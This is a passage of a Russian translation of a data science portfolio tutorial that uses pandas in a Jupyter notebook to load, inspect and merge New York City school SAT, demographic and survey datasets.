Source: <https://github.com/Agasper/GamePatcher> | https://habr.com/ru/post/163791/ | null | ru | null |
# Делаем data science-портфолио: история через данные
**Предисловие переводчика**Перевод внезапно удачно попал в струю других датасайенсных туториалов на хабре. :)
Этот написан Виком Паручури, основателем [Dataquest.io](https://www.dataquest.io/), где как раз и занимаются подобного рода интерактивным обучением data science и подготовкой к реальной работе в этой области. Каких-то эксклюзивных ноу-хау здесь нет, но очень подробно рассказан процесс от сбора данных до первичных выводов о них, что может быть интересно не только желающим составить резюме на data science, но и тем, кто просто хочет попробовать себя в практическом анализе, но не знает, с чего начать.
Data science-компании всё чаще смотрят портфолио, когда принимают решение о приёме на работу. Это, в частности, из-за того, что лучший способ судить о практических навыках — именно портфолио. И хорошая новость в том, что оно полностью в вашем распоряжении: если постараетесь – сможете собрать отличное портфолио, которым будут впечатлены многие компании.
Первый шаг в высококачественному портфолио – это понимание, какие умения в нём надо продемонстрировать.
Основные навыки, которые компании хотят видеть в data scientist-ах, и, соответственно, продемонстрированными в их портфолио, это:
* Способность общаться
* Способность сотрудничать с другими
* Техническая компетенция
* Способность делать заключения на основе данных
* Мотивация и способность проявить инициативу.
Всякое хорошее портфолио содержит несколько проектов, каждый из которых может демонстрировать 1-2 данных пункта. Это первый пост из цикла, который будет рассматривать получение гармоничного data science-портфолио. Мы рассмотрим, как сделать первый проект для портфолио, и как рассказать хорошую историю через данные. В конце будет проект, который поможет раскрыть вашу способность общаться и способность делать заключения на основе данных.
**Прим. перев.**Я точно не буду переводить весь цикл, но планирую коснуться интересного туториала о машинном обучении оттуда же.
### История через данные
В принципе, Data science вся состоит из общения. Вы видите в данных какую-то закономерность, потом ищете эффективный способ объяснить эту закономерность другим, потом убеждаете их предпринять те действия, которые вы считаете нужными. Одно из важнейших умений в data science — наглядно рассказать историю через данные. Удачная история может лучше преподнести ваши догадки и помочь другим понять ваши идеи.
История в контексте data science — это изложение всего того, что вы нашли и того, что это значит. Примером может служить открытие того, что прибыль вашей компании снизилась на 20% за последний год. Просто указать на этот факт недостаточно: надо объяснить, почему прибыль упала и что с этим делать.
Основные компоненты историй в данных это:
* Понимание и формирование контекста
* Исследование под разными ракурсами
* Использование подходящих визуализаций
* Использование различных источников данных
* Связное изложение.
Лучшее средство доходчиво рассказать историю через данные — это [Jupyter notebook](http://www.jupyter.org/). Если вы с ним незнакомы — [тут](https://www.dataquest.io/blog/python-data-science/) хороший туториал. Jupyter notebook позволяет интерактивно исследовать данные и публиковать их на различных сайтах, включая гитхаб. Публикация результатов полезна для сотрудничества — ваш анализ смогут расширить другие люди.
Мы в этом посте будем использовать Jupyter notebook вместе с питоновскими библиотеками типа Pandas и matplotlib.
### Выбор темы вашего data science-проекта
Первый шаг к созданию проекта — это определиться с темой. Стоит выбрать что-то, что вам интересно и что есть желание поисследовать. Всегда видно, когда люди сделали проект просто чтобы было, а когда потому, что им действительно интересно было покопаться в данных. На этом шаге имеет смысл потратить время, чтобы точно найти что-то увлекающее.
Хороший способ найти тему — полазить по разным датасетам и посмотреть, что есть интересного. Вот хорошие места для начала:
* [Data.gov](https://www.data.gov/) — содержит данные правительства
* [/r/datasets](https://reddit.com/r/datasets) — сабреддит с сотнями интересных датасетов
* [Awesome datasets](https://github.com/caesar0301/awesome-public-datasets) — список датасетов, хостится на гитхабе
* [17 places to find datasets](https://www.dataquest.io/blog/free-datasets-for-projects/) -пост 17-ю источниками данных и образцами датасетов из каждого
В реальной data science часто не получается найти полностью подготовленный для ваших изысканий датасет. Возможно, придётся агрегировать различные источники данных или серьёзно их чистить. Если тема вам очень интересна — имеет смысл сделать то же и здесь: лучше покажете себя в итоге.
Мы для поста будем использовать данные о Нью-Йоркских общеобразовательных школах, [отсюда](https://data.cityofnewyork.us/browse?category=Education).
**Прим. перев.**На всякий случай, приведу пример более близких к нам (россиянам) аналогичных датасетов:
* [Всякие правительственные датасеты](http://data.gov.ru/).
* [Датасеты по Москве](https://data.mos.ru/)
* [Хаб-агрегатор открытых данных](http://hub.opengovdata.ru/dataset). Есть там данные и из выше перечисленных, но не все, зато есть много других.
### Выбор темы
Важно сделать весь проект от начала до конца. Для этого полезно ограничить область изучения так, чтобы точно знать, что вы закончите. Проще добавить что-то к уже завершённому проекту, чем пытаться закончить то, что уже попросту надоело доводить до конца.
В нашем случае, мы будем изучать [оценки ЕГЭ](https://en.wikipedia.org/wiki/SAT) старшеклассников вместе с различной демографической и прочей информацией о них. ЕГЭ или Единый Государственный экзамен — это тест, который старшеклассники сдают перед поступлением в колледж. Колледжи учитывают оценки, когда принимают решение о зачислении, так что хорошо сдать его — весьма важно. Экзамен состоит из трёх частей, каждая из которых оценивается в 800 баллов. Общий балл в итоге 2400 (хотя иногда это плавало туда-сюда - в датасете всё по 2400). Старшие школы часто оцениваются по среднему баллу ЕГЭ и высокий средний балл обычно является показателем того, насколько хорош школьный округ.
Были определённые жалобы на несправедливость оценок некоторым нацменьшинствам в США, поэтому анализ по Нью-Йорку поможет пролить свет на справедливость ЕГЭ.
Датасет с оценками ЕГЭ — [здесь](https://data.cityofnewyork.us/Education/SAT-Results/f9bf-2cp4), а датасет с информацией по каждой школе — [здесь](https://data.cityofnewyork.us/Education/DOE-High-School-Directory-2014-2015/n3p6-zve2). Это будет основой нашего проекта, но нам понадобится ещё информация, чтобы сделать полноценный анализ.
**Прим. перев.**В оригинале экзамен называется SAT — Scholastic Aptitude Test. Но поскольку он практически по смыслу идентичен нашему ЕГЭ — решил так его и переводить.
### Собираем данные
Как только есть хорошая тема — полезно просмотреть другие датасеты, которые могут расширить тему или помочь углубить исследование. Лучше делать это в начале, чтобы было как можно больше данных для исследования по мере создания проекта. Если данных будет мало — есть шанс, что вы сдадитесь слишком рано.
В нашем случае, есть ещё несколько датасетов по этой теме на том же сайте, которые освещают демографическую информацию и результаты экзаменов.
Вот ссылки на все датасеты, что будем использовать:
* [Оценки ЕГЭ по школам](https://data.cityofnewyork.us/Education/SAT-Results/f9bf-2cp4)– оценки за ЕГЭ по каждой школе в Нью-Йорке.
* [Школьная посещаемость](https://data.cityofnewyork.us/Education/School-Attendance-and-Enrollment-Statistics-by-Dis/7z8d-msnt) – информация о посещаемости по каждой школе Нью-Йорка.
* [Результаты экзамена по математике](https://data.cityofnewyork.us/Education/NYS-Math-Test-Results-By-Grade-2006-2011-School-Le/jufi-gzgp) – результаты экзамена по математике по каждой школе Нью-Йорка.
* [Размер класса](https://data.cityofnewyork.us/Education/2010-2011-Class-Size-School-level-detail/urz7-pzb3) – информация о размере класса по каждой школе Нью-Йорка.
* [Результаты экзамена УП](https://data.cityofnewyork.us/Education/AP-College-Board-2010-School-Level-Results/itfs-ms3e) – Результаты экзамена по углублённой программе. Прохождение этой программы может дать преимущества при поступлении.
* [Информация о выпускниках](https://data.cityofnewyork.us/Education/Graduation-Outcomes-Classes-Of-2005-2010-School-Le/vh2h-md7a) –процент выпустившихся учеников и прочая сопутствующая информация.
* [Демография](https://data.cityofnewyork.us/Education/School-Demographics-and-Accountability-Snapshot-20/ihfw-zy9j) – демографическая информация по каждой школе.
* [Школьные опросы](https://data.cityofnewyork.us/Education/NYC-School-Survey-2011/mnz3-dyi8) – опросы родителей, учителей и учеников в каждой школе.
* [Карта школьных округов](https://data.cityofnewyork.us/Education/School-Districts/r8nu-ymqj) – содержит информацию о форме школьных округов, так что мы сможем нанести их на карту.
Все эти данные связаны между собой, и мы сможем их объединить прежде, чем начнём анализ.
Сбор вводной информации
-----------------------
Прежде, чем погружаться в анализ данных, полезно выяснить общую информацию о предмете. В нашем случае, мы знаем кое-что, что может оказаться полезным:
* Нью-Йорк поделен на 5 районов, которые являются практически отдельными областями.
* Школы в Нью-Йорке поделены на несколько школьных округов, каждый может содержать десятки школ.
* Не все школы в датасете — старшие, так что, возможно, потребуется предварительно почистить данные
* Каждая школа в Нью-Йорке имеет уникальный код DBN или районно-окружной номер.
* Агрегируя данные по округам, мы сможем использовать их картографическую информацию, чтобы на карте изобразить отличия между ними.
**Прим. перев.**То, что я перевёл как "Районы" на самом деле называется в NYC "боро", и столбцы, соответственно, называются Borough.
Понимаем данные
---------------
Чтобы действительно понять контекст данных, нужно потратить время и об этих данных почитать. В нашем случае, каждая вышеприведённая ссылка содержит описание данных для каждой колонки. Похоже, у нас есть данные по оценкам ЕГЭ старшеклассников, вместе с другими датасетами, которые содержат демографическую и прочую информацию.
Запустим кое-какой код, чтобы прочесть данные. Используем [Jupyter notebook](http://jupyter.org/) для наших исследований. Нижеприведённый код:
* Пробежится по каждому скачанному файлу
* Прочитает каждый в [датафрейм Pandas](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.html)
* Положит каждый датафрейм в python-словарь.
```
import pandas
import numpy as np
files = ["ap_2010.csv", "class_size.csv", "demographics.csv", "graduation.csv", "hs_directory.csv", "math_test_results.csv", "sat_results.csv"]
data = {}
for f in files:
d = pandas.read_csv("schools/{0}".format(f))
data[f.replace(".csv", "")] = d
```
Как только мы всё прочитали, можно использовать на датафреймах метод [head](https://www.dataquest.io/blog/data-science-portfolio-project/), чтобы вывести первые 5 строк каждого:
```
for k,v in data.items():
print("\n" + k + "\n")
print(v.head())
```
Уже можно видеть в датасетах определённые особенности:
**math\_test\_results**
| | DBN | Grade | Year | Category | Number Tested | Mean Scale Score | Level 1 # | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 01M015 | 3 | 2006 | All Students | 39 | 667 | 2 |
| 1 | 01M015 | 3 | 2007 | All Students | 31 | 672 | 2 |
| 2 | 01M015 | 3 | 2008 | All Students | 37 | 668 | 0 |
| 3 | 01M015 | 3 | 2009 | All Students | 33 | 668 | 0 |
| 4 | 01M015 | 3 | 2010 | All Students | 26 | 677 | 6 |
| | Level 1 % | Level 2 # | Level 2 % | Level 3 # | Level 3 % | Level 4 # | Level 4 % | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 5.1% | 11 | 28.2% | 20 | 51.3% | 6 | 15.4% |
| 1 | 6.5% | 3 | 9.7% | 22 | 71% | 4 | 12.9% |
| 2 | 0% | 6 | 16.2% | 29 | 78.4% | 2 | 5.4% |
| 3 | 0% | 4 | 12.1% | 28 | 84.8% | 1 | 3% |
| 4 | 23.1% | 12 | 46.2% | 6 | 23.1% | 2 | 7.7% |
| | Level 3+4 # | Level 3+4 % |
| --- | --- | --- |
| 0 | 26 | 66.7% |
| 1 | 26 | 83.9% |
| 2 | 31 | 83.8% |
| 3 | 29 | 87.9% |
| 4 | 8 | 30.8% |
**ap\_2010**
| | DBN | SchoolName | AP Test Takers | Total Exams Taken | Number of Exams with scores 3 4 or 5 |
| --- | --- | --- | --- | --- | --- |
| 0 | 01M448 | UNIVERSITY NEIGHBORHOOD H.S. | 39 | 49 | 10 |
| 1 | 01M450 | EAST SIDE COMMUNITY HS | 19 | 21 | s |
| 2 | 01M515 | LOWER EASTSIDE PREP | 24 | 26 | 24 |
| 3 | 01M539 | NEW EXPLORATIONS SCI,TECH,MATH | 255 | 377 | 191 |
| 4 | 02M296 | High School of Hospitality Management | s | s | s |
**sat\_results**
| | DBN | SCHOOL NAME | Num of SAT Test Takers | SAT Critical Reading Avg. Score | SAT Math Avg. Score | SAT Writing Avg. Score |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | 01M292 | HENRY STREET SCHOOL FOR INTERNATIONAL STUDIES | 29 | 355 | 404 | 363 |
| 1 | 01M448 | UNIVERSITY NEIGHBORHOOD HIGH SCHOOL | 91 | 383 | 423 | 366 |
| 2 | 01M450 | EAST SIDE COMMUNITY SCHOOL | 70 | 377 | 402 | 370 |
| 3 | 01M458 | FORSYTH SATELLITE ACADEMY | 7 | 414 | 401 | 359 |
| 4 | 01M509 | MARTA VALLE HIGH SCHOOL | 44 | 390 | 433 | 384 |
**class\_size**
| | CSD | BOROUGH | SCHOOL CODE | SCHOOL NAME | GRADE | PROGRAM TYPE | CORE SUBJECT (MS CORE and 9-12 ONLY) | CORE COURSE (MS CORE and 9-12 ONLY) | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 1 | M | M015 | P.S. 015 Roberto Clemente | 0K | GEN ED | - | - |
| 1 | 1 | M | M015 | P.S. 015 Roberto Clemente | 0K | CTT | - | - |
| 2 | 1 | M | M015 | P.S. 015 Roberto Clemente | 01 | GEN ED | - | - |
| 3 | 1 | M | M015 | P.S. 015 Roberto Clemente | 01 | CTT | - | - |
| 4 | 1 | M | M015 | P.S. 015 Roberto Clemente | 02 | GEN E | - | - |
| | SERVICE CATEGORY(K-9\* ONLY) | NUMBER OF STUDENTS / SEATS FILLED | NUMBER OF SECTIONS | AVERAGE CLASS SIZE | SIZE OF SMALLEST CLASS | \ |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | - | 19.0 | 1.0 | 19.0 | 19.0 |
| 1 | - | 21.0 | 1.0 | 21.0 | 21.0 |
| 2 | - | 17.0 | 1.0 | 17.0 | 17.0 |
| 3 | - | 17.0 | 1.0 | 17.0 | 17.0 |
| 4 | - | 15.0 | 1.0 | 15.0 | 15.0 |
| | SIZE OF LARGEST CLASS | DATA SOURCE | SCHOOLWIDE PUPIL-TEACHER RATIO |
| --- | --- | --- | --- |
| 0 | 19.0 | ATS | NaN |
| 1 | 21.0 | ATS | NaN |
| 2 | 17.0 | ATS | NaN |
| 3 | 17.0 | ATS | NaN |
| 4 | 15.0 | ATS | NaN |
**demographics**
| | DBN | Name | schoolyear | fl\_percent | frl\_percent | \ |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | 01M015 | P.S. 015 ROBERTO CLEMENTE | 20052006 | 89.4 | NaN |
| 1 | 01M015 | P.S. 015 ROBERTO CLEMENTE | 20062007 | 89.4 | NaN |
| 2 | 01M015 | P.S. 015 ROBERTO CLEMENTE | 20072008 | 89.4 | NaN |
| 3 | 01M015 | P.S. 015 ROBERTO CLEMENTE | 20082009 | 89.4 | NaN |
| 4 | 01M015 | P.S. 015 ROBERTO CLEMENTE | 20092010 | | 96.5 |
| | total\_enrollment | prek | k | grade1 | grade2 | ... | black\_num | black\_per | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 281 | 15 | 36 | 40 | 33 | ... | 74 | 26.3 |
| 1 | 243 | 15 | 29 | 39 | 38 | ... | 68 | 28.0 |
| 2 | 261 | 18 | 43 | 39 | 36 | ... | 77 | 29.5 |
| 3 | 252 | 17 | 37 | 44 | 32 | ... | 75 | 29.8 |
| 4 | 208 | 16 | 40 | 28 | 32 | ... | 67 | 32.2 |
| | hispanic\_num | hispanic\_per | white\_num | white\_per | male\_num | male\_per | female\_num | female\_per | \ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 189 | 67.3 | 5 | 1.8 | 158.0 | 56.2 | 123.0 | 43.8 |
| 1 | 153 | 63.0 | 4 | 1.6 | 140.0 | 57.6 | 103.0 | 42.4 |
| 2 | 157 | 60.2 | 7 | 2.7 | 143.0 | 54.8 | 118.0 | 45.2 |
| 3 | 149 | 59.1 | 7 | 2.8 | 149.0 | 59.1 | 103.0 | 40.9 |
| 4 | 118 | 56.7 | 6 | 2.9 | 124.0 | 59.6 | 84.0 | 40.4 |
**graduation**
| | Demographic | DBN | School Name | Cohort | \ |
| --- | --- | --- | --- | --- | --- |
| 0 | Total Cohort | 01M292 | HENRY STREET SCHOOL FOR INTERNATIONAL | 2003 |
| 1 | Total Cohort | 01M292 | HENRY STREET SCHOOL FOR INTERNATIONAL | 2004 |
| 2 | Total Cohort | 01M292 | HENRY STREET SCHOOL FOR INTERNATIONAL | 2005 |
| 3 | Total Cohort | 01M292 | HENRY STREET SCHOOL FOR INTERNATIONAL | 2006 |
| 4 | Total Cohort | 01M292 | HENRY STREET SCHOOL FOR INTERNATIONAL | 2006 Aug |
| | Total Cohort | Total Grads — n | Total Grads — % of cohort | Total Regents — n | \ |
| --- | --- | --- | --- | --- | --- |
| 0 | 5 | s | s | s |
| 1 | 55 | 37 | 67.3% | 17 |
| 2 | 64 | 43 | 67.2% | 27 |
| 3 | 78 | 43 | 55.1% | 36 |
| 4 | 78 | 44 | 56.4% | 37 |
| | Total Regents — % of cohort | Total Regents — % of grads | ... | Regents w/o Advanced — n | \ |
| --- | --- | --- | --- | --- | --- |
| 0 | s | s | ... | s |
| 1 | 30.9% | 45.9% | ... | 17 |
| 2 | 42.2% | 62.8% | ... | 27 |
| 3 | 46.2% | 83.7% | ... | 36 |
| 4 | 47.4% | 84.1% | ... | 37 |
| | Regents w/o Advanced — % of cohort | Regents w/o Advanced — % of grads | \ |
| --- | --- | --- | --- |
| 0 | s | s |
| 1 | 30.9% | 45.9% |
| 2 | 42.2% | 62.8% |
| 3 | 46.2% | 83.7% |
| 4 | 47.4% | 84.1% |
| | Local — n | Local — % of cohort | Local — % of grad | s Still Enrolled — n | \ |
| --- | --- | --- | --- | --- | --- |
| 0 | s | s | s | s |
| 1 | 20 | 36.4% | 54.1% | 15 |
| 2 | 16 | 25% | 37.200000000000003% | 9 |
| 3 | 7 | 9% | 16.3% | 16 |
| 4 | 7 | 9% | 15.9% | 15 |
| | Still Enrolled — % of cohort | Dropped Out — n | Dropped Out — % of cohort |
| --- | --- | --- | --- |
| 0 | s | s | s |
| 1 | 27.3% | 3 | 5.5% |
| 2 | 14.1% | 9 | 14.1% |
| 3 | 20.5% | 11 | 14.1% |
| 4 | 19.2% | 11 | 14.1% |
**hs\_directory**
| | dbn | school\_name | boro | \ |
| --- | --- | --- | --- | --- |
| 0 | 17K548 | Brooklyn School for Music & Theatre | Brooklyn |
| 1 | 09X543 | High School for Violin and Dance | Bronx |
| 2 | 09X327 | Comprehensive Model School Project M.S. 327 | Bronx |
| 3 | 02M280 | Manhattan Early College School for Advertising | Manhattan |
| 4 | 28Q680 | Queens Gateway to Health Sciences Secondary Sc... | Queens |
| | building\_code | phone\_number | fax\_number | grade\_span\_min | grade\_span\_max | \ |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | K440 | 718-230-6250 | 718-230-6262 | 9 | 12 |
| 1 | X400 | 718-842-0687 | 718-589-9849 | 9 | 12 |
| 2 | X240 | 718-294-8111 | 718-294-8109 | 6 | 12 |
| 3 | M520 | 718-935-3477 | NaN | 9 | 10 |
| 4 | Q695 | 718-969-3155 | 718-969-3552 | 6 | 12 |
| | expgrade\_span\_min | expgrade\_span\_max | ... | priority02 | \ |
| --- | --- | --- | --- | --- | --- |
| 0 | NaN | NaN | ... | Then to New York City residents |
| 1 | NaN | NaN | ... | Then to New York City residents who attend an ... |
| 2 | NaN | NaN | ... | Then to Bronx students or residents who attend... |
| 3 | 9 | 14.0 | ... | Then to New York City residents who attend an ... |
| 4 | NaN | NaN | ... | Then to Districts 28 and 29 students or residents |
| | priority03 | priority04 | priority05 | \ |
| --- | --- | --- | --- | --- |
| 0 | NaN | NaN | NaN |
| 1 | Then to Bronx students or residents | Then to New York City residents | NaN |
| 2 | Then to New York City residents who attend an ... | Then to Bronx students or residents | Then to New York City residents |
| 3 | Then to Manhattan students or residents | Then to New York City residents | NaN |
| 4 | Then to Queens students or residents | Then to New York City residents | NaN |
| | priority06 | priority07 | priority08 | priority09 | priority10 | Location 1 |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | NaN | NaN | NaN | NaN | NaN | 883 Classon Avenue\nBrooklyn, NY 11225\n(40.67... |
| 1 | NaN | NaN | NaN | NaN | NaN | 1110 Boston Road\nBronx, NY 10456\n(40.8276026... |
| 2 | NaN | NaN | NaN | NaN | NaN | 1501 Jerome Avenue\nBronx, NY 10452\n(40.84241... |
| 3 | NaN | NaN | NaN | NaN | NaN | 411 Pearl Street\nNew York, NY 10038\n(40.7106... |
| 4 | NaN | NaN | NaN | NaN | NaN | 160-20 Goethals Avenue\nJamaica, NY 11432\n(40... |
* Большинство содержит столбец DBN
* Некоторые поля выглядят интересными для картографирования, в частности Location 1, который содержит координаты в строке.
* В некоторых датасетах есть по несколько строк на каждую школу (повторяющиеся значения DBN), что намекает на необходимость предварительной обработки.
Приведение данных к общему знаменателю
--------------------------------------
Чтобы с данными работать было легче, нам надо объединить все датасеты в один — это позволит нам быстро сравнивать колонки в датасетах. Для этого, прежде всего, надо найти общую колонку для объединения. Глядя на то, что нам ранее вывелось, можно предположить, что такой колонкой может быть *DBN*, поскольку она повторяется в нескольких датасетах.
Если мы загуглим "DBN New York City Schools", то придём [сюда](https://developer.cityofnewyork.us/api/doe-school-choice), где объясняется, что DBN — это уникальный код для каждой школы. При исследовании датасетов, особенно правительственных, приходится частенько проделать детективную работу, чтобы понять, что значит каждый столбец, даже каждый датасет иногда.
Теперь проблема в том, что два датасета, **class\_size** и **hs\_directory** — не содержат *DBN*. В **hs\_directory** он называется dbn, поэтому просто переименуем или скопируем его в *DBN*. Для **class\_size** нужен будет другой подход.
Столбец *DBN* выглядит так:
```
In [5]: data["demographics"]["DBN"].head()
Out[5]:
0 01M015
1 01M015
2 01M015
3 01M015
4 01M015
Name: DBN, dtype: object
```
Если посмотрим на **class\_size** - вот то, что мы увидим в первых 5 строках:
```
In [4]:
data["class_size"].head()
Out[4]:
```
| | CSD | BOROUGH | SCHOOL CODE | SCHOOL NAME | GRADE | PROGRAM TYPE | CORE SUBJECT (MS CORE and 9-12 ONLY) | / |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 1 | M | M015 | P.S. 015 Roberto Clemente | 0K | GEN ED | - |
| 1 | 1 | M | M015 | P.S. 015 Roberto Clemente | 0K | CTT | - |
| 2 | 1 | M | M015 | P.S. 015 Roberto Clemente | 01 | GEN ED | - |
| 3 | 1 | M | M015 | P.S. 015 Roberto Clemente | 01 | CTT | - |
| 4 | 1 | M | M015 | P.S. 015 Roberto Clemente | 02 | GEN ED | - |
| | CORE COURSE (MS CORE and 9-12 ONLY) | SERVICE CATEGORY(K-9\* ONLY) | NUMBER OF STUDENTS / SEATS FILLED | / |
| --- | --- | --- | --- | --- |
| 0 | - | - | 19.0 |
| 1 | - | - | 21.0 |
| 2 | - | - | 17.0 |
| 3 | - | - | 17.0 |
| 4 | - | - | 15.0 |
| | NUMBER OF SECTIONS | AVERAGE CLASS SIZE | SIZE OF SMALLEST CLASS | SIZE OF LARGEST CLASS | DATA SOURCE | SCHOOLWIDE PUPIL-TEACHER RATIO |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | 1.0 | 19.0 | 19.0 | 19.0 | ATS | NaN |
| 1 | 1.0 | 21.0 | 21.0 | 21.0 | ATS | NaN |
| 2 | 1.0 | 17.0 | 17.0 | 17.0 | ATS | NaN |
| 3 | 1.0 | 17.0 | 17.0 | 17.0 | ATS | NaN |
| 4 | 1.0 | 15.0 | 15.0 | 15.0 | ATS | NaN |
Как можно заметить, DBN — это просто комбинация *CSD*,*BOROUGH* и *SCHOOL\_ CODE*. Для незнакомых с Нью-Йорком: он состоит из 5 районов. Каждый район — это организационная единица, приблизительно равная по размеру достаточно большому городу США. DBN расшифровывается как районно-окружной номер. Похоже, что *CSD* — это округ, *BOROUGH* — район и в сочетании со *SCHOOL\_CODE* получается *DBN*.
Теперь, когда мы знаем, как составить DBN, мы можем добавить его в **class\_size** и **hs\_directory**.
```
In [ ]:
data["class_size"]["DBN"] = data["class_size"].apply(lambda x: "{0:02d}{1}".format(x["CSD"], x["SCHOOL CODE"]), axis=1)
data["hs_directory"]["DBN"] = data["hs_directory"]["dbn"]
```
Добавляем опросы
----------------
Один из самых потенциально интересных датасетов — это датасет опросов учеников, родителей и учителей по поводу качества школ. Эти опросы включают информацию о субъективном восприятии безопасности каждой школы, учебных стандартах и прочем. Перед тем, как объединять наши датасеты, давайте добавим данные по опросам. В реальных data science-проектах вы часто будете натыкаться на интересные данные по ходу анализа и, возможно, захотите так же их подключить. Гибкий инструмент, типа Jupyter notebook, позволяет быстро добавить дополнительный код и переделать анализ.
В нашем случае, добавим дополнительные данные по опросам в наш словарь data, после чего объединим все датасеты. Данные по опросам состоят из двух файлов, один на все школы, и один на школьный округ 75. Чтобы их объединить, потребуется написать немного кода. В нём мы сделаем что:
* Прочитаем опросы по всем школам, используя кодировку windows-1252
* Прочитаем опросы для округа 75 с использованием windows-1252
* Добавим флаг, который будет обозначать, для какого округа каждый датасет.
* Объединим все датасеты в один с помощью метода [concat](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.concat.html) на датафреймах.
```
In [66]:
survey1 = pandas.read_csv("schools/survey_all.txt", delimiter="\t", encoding='windows-1252')
survey2 = pandas.read_csv("schools/survey_d75.txt", delimiter="\t", encoding='windows-1252')
survey1["d75"] = False
survey2["d75"] = True
survey = pandas.concat([survey1, survey2], axis=0)
```
Как только мы объединим все опросы, появится дополнительная трудность. Мы хотим минимизировать количество столбцов в нашем объединённом датасете, чтобы можно было легко сравнивать колонки и выявлять зависимости. К несчастью, данные по опросам содержат много ненужных нам колонок:
```
In [16]:
survey.head()
Out[16]:
```
| | N\_p | N\_s | N\_t | aca\_p\_11 | aca\_s\_11 | aca\_t\_11 | aca\_tot\_11 | / |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 90.0 | NaN | 22.0 | 7.8 | NaN | 7.9 | 7.9 |
| 1 | 161.0 | NaN | 34.0 | 7.8 | NaN | 9.1 | 8.4 |
| 2 | 367.0 | NaN | 42.0 | 8.6 | NaN | 7.5 | 8.0 |
| 3 | 151.0 | 145.0 | 29.0 | 8.5 | 7.4 | 7.8 | 7.9 |
| 4 | 90.0 | NaN | 23.0 | 7.9 | NaN | 8.1 | 8.0 |
| | bn | com\_p\_11 | com\_s\_11 | ... | t\_q8c\_1 | t\_q8c\_2 | t\_q8c\_3 | t\_q8c\_4 | / |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | M015 | 7.6 | NaN | ... | 29.0 | 67.0 | 5.0 | 0.0 |
| 1 | M019 | 7.6 | NaN | ... | 74.0 | 21.0 | 6.0 | 0.0 |
| 2 | M020 | 8.3 | NaN | ... | 33.0 | 35.0 | 20.0 | 13.0 |
| 3 | M034 | 8.2 | 5.9 | ... | 21.0 | 45.0 | 28.0 | 7.0 |
| 4 | M063 | 7.9 | NaN | ... | 59.0 | 36.0 | 5.0 | 0.0 |
| | t\_q9 | t\_q9\_1 | t\_q9\_2 | t\_q9\_3 | t\_q9\_4 | t\_q9\_5 |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | NaN | 5.0 | 14.0 | 52.0 | 24.0 | 5.0 |
| 1 | NaN | 3.0 | 6.0 | 3.0 | 78.0 | 9.0 |
| 2 | NaN | 3.0 | 5.0 | 16.0 | 70.0 | 5.0 |
| 3 | NaN | 0.0 | 18.0 | 32.0 | 39.0 | 11.0 |
| 4 | NaN | 10.0 | 5.0 | 10.0 | 60.0 | 15.0 |
Мы справимся с этим, заглянув в файл со словарём данных, который мы скачали вместе с данными по опросам. Он расскажет нам про важные поля:
А потом мы удалим все не относящиеся к нам столбцы в survey:
```
In [17]:
survey["DBN"] = survey["dbn"]
survey_fields = ["DBN", "rr_s", "rr_t", "rr_p", "N_s", "N_t", "N_p", "saf_p_11", "com_p_11", "eng_p_11", "aca_p_11", "saf_t_11", "com_t_11", "eng_t_10", "aca_t_11", "saf_s_11", "com_s_11", "eng_s_11", "aca_s_11", "saf_tot_11", "com_tot_11", "eng_tot_11", "aca_tot_11",]
survey = survey.loc[:,survey_fields]
data["survey"] = survey
survey.shape
Out[17]:
(1702, 23)
```
Понимание того, что именно содержит каждый датасет и какие столбцы из него важны, может сэкономить кучу времени и усилий в дальнейшем.
Уплотняем датасеты
------------------
Если мы взглянем на некоторые датасеты, включая **class\_size**, мы сразу увидим проблему:
```
In [18]: data["class_size"].head()
Out[18]:
```
| | CSD | BOROUGH | SCHOOL CODE | SCHOOL NAME | GRADE | PROGRAM TYPE | CORE SUBJECT (MS CORE and 9-12 ONLY) | / |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 1 | M | M015 | P.S. 015 Roberto Clemente | 0K | GEN ED | - |
| 1 | 1 | M | M015 | P.S. 015 Roberto Clemente | 0K | CTT | - |
| 2 | 1 | M | M015 | P.S. 015 Roberto Clemente | 01 | GEN ED | - |
| 3 | 1 | M | M015 | P.S. 015 Roberto Clemente | 01 | CTT | - |
| 4 | 1 | M | M015 | P.S. 015 Roberto Clemente | 02 | GEN ED | - |
| | CORE COURSE (MS CORE and 9-12 ONLY) | SERVICE CATEGORY(K-9\* ONLY) | NUMBER OF STUDENTS / SEATS FILLED | NUMBER OF SECTIONS | AVERAGE CLASS SIZE | / |
| --- | --- | --- | --- | --- | --- | --- |
| 0 | - | - | 19.0 | 1.0 | 19.0 |
| 1 | - | - | 21.0 | 1.0 | 21.0 |
| 2 | - | - | 17.0 | 1.0 | 17.0 |
| 3 | - | - | 17.0 | 1.0 | 17.0 |
| 4 | - | - | 15.0 | 1.0 | 15.0 |
| | SIZE OF SMALLEST CLASS | SIZE OF LARGEST CLASS | DATA SOURCE | SCHOOLWIDE PUPIL-TEACHER RATIO | DBN |
| --- | --- | --- | --- | --- | --- |
| 0 | 19.0 | 19.0 | ATS | NaN | 01M015 |
| 1 | 21.0 | 21.0 | ATS | NaN | 01M015 |
| 2 | 17.0 | 17.0 | ATS | NaN | 01M015 |
| 3 | 17.0 | 17.0 | ATS | NaN | 01M015 |
| 4 | 15.0 | 15.0 | ATS | NaN | 01M015 |
Для каждой школы есть несколько строк (что можно понять по повторяющимся полям *DBN* и *SCHOOL NAME*). Хотя, если мы взглянем на **sat\_results** - в нём только по одной строке на школу:
```
In [21]:
data["sat_results"].head()
Out[21]:
```
